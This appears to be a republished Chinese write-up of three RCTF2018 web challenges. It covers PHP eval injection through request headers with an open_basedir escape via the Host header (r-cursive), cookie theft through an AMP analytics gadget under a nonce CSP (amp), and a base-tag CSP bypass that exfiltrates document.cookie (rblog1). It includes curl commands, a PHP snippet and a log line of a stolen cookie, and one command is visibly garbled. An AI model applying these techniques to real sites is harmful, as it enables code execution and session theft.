RCTF2018 Web Writeup

存储架构 2018-05-23 阅读原文

RCTF刚好赶上了完成毕设的时间,没办法只接触了部分题目,可惜的是,其中很多题目都不是特别有意思,这里只整理部分我参与的..

r-cursive

LUL dat font

http://r-cursive.ml

hint: If you get stuck after arbitary code execution, try to escape the sandbox. phpinfo may help you figure out how the sandbox works.

蛮神奇的一题,题目代码是这样的

 

访问 ?action=go
之后,我们会自动跳到属于自己ip的沙盒中,打开题目,我们就能看到源码

 <?php
sha1($_SERVER['REMOTE_ADDR']) === 'f6e5575f93a408c5cb709c73eaa822cb09b4d0f7' ?: die();
';' === preg_replace('/[^W_]+((?R)?)/', NULL, $_GET['cmd']) ? eval($_GET['cmd']) : show_source(__FILE__);

简单来说就是这里只能调用函数,没办法传入字符串,绕过比较简单。

curl "http://xxxx.sandbox.r-cursive.ml:1337/?cmd=eval(next(getallheaders()));" -H "User-Agent: phpinfo();" -H "Accept: asdasd/asdasda"

通过获取headers的方式,我们可以通过设置ua来传入字符串,成功执行我想要的命令。这里我们先看看phpinfo的内容。

disable_classes:
GlobIterator,DirectoryIterator,FilesystemIterator,RecursiveDirectoryIterator

disable_functions
system,shell_exec,passthru,exec,popen,proc_open,pcntl_exec,mail,putenv,apache_setenv,mb_send_mail,assert,dl,set_time_limit,ignore_user_abort,symlink,link

open_basedir
/var/www/sandbox/47933bf3ea6c89fb70bb9c63930d414a4c4a70ae/:/tmp/

由于前两项的设置,导致后面open_baseidr完全没办法绕过,但我们可以用glob协议来列一部分目录。

if ($dh = opendir('glob:///*/*/*/*')) {while (($file = readdir($dh)) !== false) {echo $file.' ';}closedir($dh);}

经过一段时间的锁定,我们可以发现flag只能是在 /var/www/sandbox/init.php
文件里,但问题在于,在禁用了这些函数之后,我们无法绕过这里的限制。

所以我们可能需要想更巧妙地方法来绕过这里的限制,对于不同的请求来说, open_basedir
都是不同的,那么服务端就需要获取请求的地址,然后做解析,这部分的配置一般是由apache来做的,但如果我们请求的host中不包含这个sha1的字符串,那么是不是我们可以让后端无法获取到这个字符串,就会将 open_basedir
设置为 /var/www/sandbox
,我们就可以读取这个目录下的文件了。

需要注意的是,当前目录也会随之改变,而当前目录是没有index.php的,所以我们需要加上目录。

ubuntu@VM-181-46-ubuntu:~$ curl "http://47933bf3ea6c89fb70bb9c63930d414a4c4a70ae.sandbox.r-cursive.ml:1337/47933bf3ea6c89fb70bb9c63930val(next(getallheaders()));" -H "User-Agent: show_source('../init.php');" -H "Host: .sandbox.r-cursive.ml"


ini_set("open_basedir", $_SERVER['DOCUMENT_ROOT']."/:/tmp/");
// flag: RCTF{apache_mod_vhost_alias_should_be_configured_correctly}

amp

Buildingthe future web, together.

题目特别简单,页面内含有CSP,比较松但却开启了nonce CSP,完成的CSP头如下

script-src 'nonce-88f68fa5b7eb8a01de8b8e63b5fb0a6e' 'strict-dynamic'; style-src 'unsafe-inline'

题目中也很明白,没有任何标签过滤,然后页面中引入了google amp的框架,那么我们只要找一个amp文档中的gadgets,然后获取当前页面cookie就好了,不知道是不是我语法不对…

在翻阅文档的时候发现一个特殊的标签

https://www.ampproject.org/docs/analytics/analytics_basics#variable-substitution

这个标签不仅仅会发送请求,还有读取cookie的支持,就像这样

其中site-user-id-cookie-fallback-name为cookie的名字,这样发送到服务端就会获取到返回flag了。

rblog1

get `document.cookie`
http://rblog.2018.teamrois.cn

还算是一道比较神奇的题目,怎么说呢,预期解感觉脑洞成分大很多,非预期解蛮有意思的。

站内功能很普通,与0ctf中的club题目一致,提交表单包括title和content,其中title没有转义,effect可控,出现点在引入js的地方。

页面中使用了nonce CSP

default-src 'none'; script-src 'nonce-4fad2fa7830a95f09b6e6b3691e37d18'; frame-src https://www.google.com/recaptcha/; style-src 'self' 'unsafe-inline' fonts.googleapis.com; font-src fonts.gstatic.com; img-src 'self'

本来我们的关注点都在effect这里

但script是个特殊标签,src无法覆盖,而且外链是大于内联js,所以我们也无法执行js,唯一的办法是通过上传接口上传文件,然后通过设置effect为 ../../../uploads/xxx
来引入,则为可控,但上传接口对文件有判断,无法轻易fuzz,所以暂时把这里放下了。

这里我们用了非预期的解法,base标签

在title我们引入的标签没有被转义,而且CSP中没有设置base标签,那么我们直接通过base标签设置当前域,其中的相对目录就会引入我们想要的js。

拿到cookie

115.159.200.107 - - [20/May/2018:07:02:09 +0000] "GET /?flag=RCTF{why_the_heck_no_mimetype_for_webp_in_apache2_in_8012};%20hint_for_rBlog_Rev.2=http://rblog.2018.teamrois.cn/blog.php/52c533a30d8129ee4915191c57965ef4c7718e6d HTTP/1.1" 200 2261

责编内容by:LoRexxar's Blog 【阅读原文】。感谢您的支持!

您可能感兴趣的

Let’s Build: With JavaScript – DIY Dropdowns and R... Dropdown menus and responsive menus are all too common components in the web design space. While I’d advocate using dropdown menus sparingly, they ...
What is a data artist? A role for drawing IT and b... Charles Joseph Minard is arguably the world’s most famous data artist. By combining several data sets, including troop numbers, direction, temperatur...
How To Check Apache Web Server Uptime In Linux We all know about uptime command purpose in Linux, it is used to check system uptime like, how long the system has been running without reboot and...
微信小程序 自定义组件 – 弹出菜单demo... 之前看七月老师的视频,介绍到template的时候,七月老师说,这个template有一个缺点,大概意思就是封装度不够,只模板化了页面和样式,逻辑那些写不了。我也很困惑这件事,今天了解到 自定义组件 这个概念,就试了试,感觉好像弥补了template的那个缺点,于是写了个小demo,也算做个笔记 ...
Js Position of the sliding element im using jsPlumb with jQuery i was wondering if there is a way to get the position of an element while and after drag and drop it within the cont...